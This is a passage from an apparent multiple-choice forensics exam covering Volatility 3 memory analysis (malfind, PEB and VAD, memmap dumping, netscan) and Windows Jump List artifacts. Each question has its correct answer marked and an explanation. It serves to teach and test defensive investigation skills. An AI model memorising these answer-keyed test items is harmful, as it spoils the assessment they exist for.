The windows.netscan plugin in Volatility 3 scans memory for TCPT_OBJECT and UdpA structures to enumerate both active TCP/UDP connections and listening sockets, including remote IPs, ports, and owning PIDs. This is essential for identifying C2 beaconing or data exfiltration channels present in memory.

Question 46Filesystem, memory, network and timeline evidence

A memory investigation finds an executable writable region reported by the stated malfind workflow. Which listed malicious hypothesis merits corroboration rather than treating the region permissions alone as proof?

  1. A legitimate Windows DLL loaded from disk
  2. Heap memory allocated by a benign application
  3. Process injection or reflectively loaded shellcode/PE Correct answer.
  4. A memory-mapped file used for interprocess communication

Explanation

Memory regions flagged by malfind with RWX permissions containing a PE header (MZ magic bytes: 0x4D 0x5A) strongly indicate process injection. Legitimate DLLs are mapped with appropriate permissions (RX or RW) from disk, not injected as RWX regions. Reflective DLL injection, shellcode injection, and process hollowing all exhibit this signature.

Question 47Filesystem, memory, network and timeline evidence

What is the primary difference between a process's PEB (Process Environment Block) in Volatility's context and the VAD (Virtual Address Descriptor) tree?

  1. PEB is kernel-mode only; VAD is user-mode only
  2. VAD stores all loaded DLLs while PEB stores network socket handles
  3. PEB contains user-mode process metadata (loaded modules, heap pointers, command line); VAD describes all virtual memory regions and their permissions Correct answer.
  4. Both structures are identical but differ only in their storage location

Explanation

The PEB is a user-mode structure containing process configuration metadata: loaded module list (accessible to module injection), environment variables, heap metadata, and command-line arguments. The VAD tree is a kernel-mode structure tracking all virtual memory regions - their addresses, sizes, permissions (RWX), and protection flags. Malfind uses the VAD tree to find anomalous RWX regions; dlllist uses the PEB module list, which malware can unlink to hide injected DLLs.

Question 48Filesystem, memory, network and timeline evidence

In Windows memory forensics with Volatility 3, which plugin specifically searches for evidence of process injection by scanning all process memory regions for PE signatures (MZ headers) in anomalous locations?

  1. windows.pstree
  2. windows.malfind Correct answer.
  3. windows.modules
  4. windows.filescan

Explanation

windows.malfind is Volatility 3's injection detector. It scans the Virtual Address Descriptor (VAD) tree for memory regions that are (1) executable (RX or RWX), (2) not backed by a file on disk (anonymous/private), and (3) contain PE signatures (MZ header: 0x4D 0x5A) or suspicious shellcode. This combination identifies injected DLLs, hollowed processes, and reflectively loaded payloads.

Question 49Filesystem, memory, network and timeline evidence

Which Volatility 3 plugin is used to dump a specific process's memory pages to disk for further offline analysis (e.g., with strings or a disassembler)?

  1. windows.pslist
  2. windows.memmap --pid <PID> --dump Correct answer.
  3. windows.netscan
  4. windows.vadyarascan

Explanation

The `windows.memmap` plugin with the `--dump` flag writes a process's physical memory pages to a file, enabling offline analysis with strings, hex editors, or disassemblers like Ghidra. This is distinct from a full memory image dump - it extracts only the specific process's mapped memory, making it more targeted and efficient for focused analysis of a suspected malicious process.

Question 50Filesystem, memory, network and timeline evidence

An investigator examining a Windows disk image finds the file path C:\Users\victim\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations. What forensic artifact type is stored here?

  1. Windows Jump Lists (custom destinations) Correct answer.
  2. Browser history cookies
  3. Windows prefetch files
  4. Registry hive transaction logs

Explanation

Jump Lists are stored in two locations: AutomaticDestinations and CustomDestinations under AppData\Roaming\Microsoft\Windows\Recent\. CustomDestinations are created by applications that explicitly pin items. Forensically, Jump Lists reveal recently and frequently accessed files and folders, even after the files themselves have been deleted.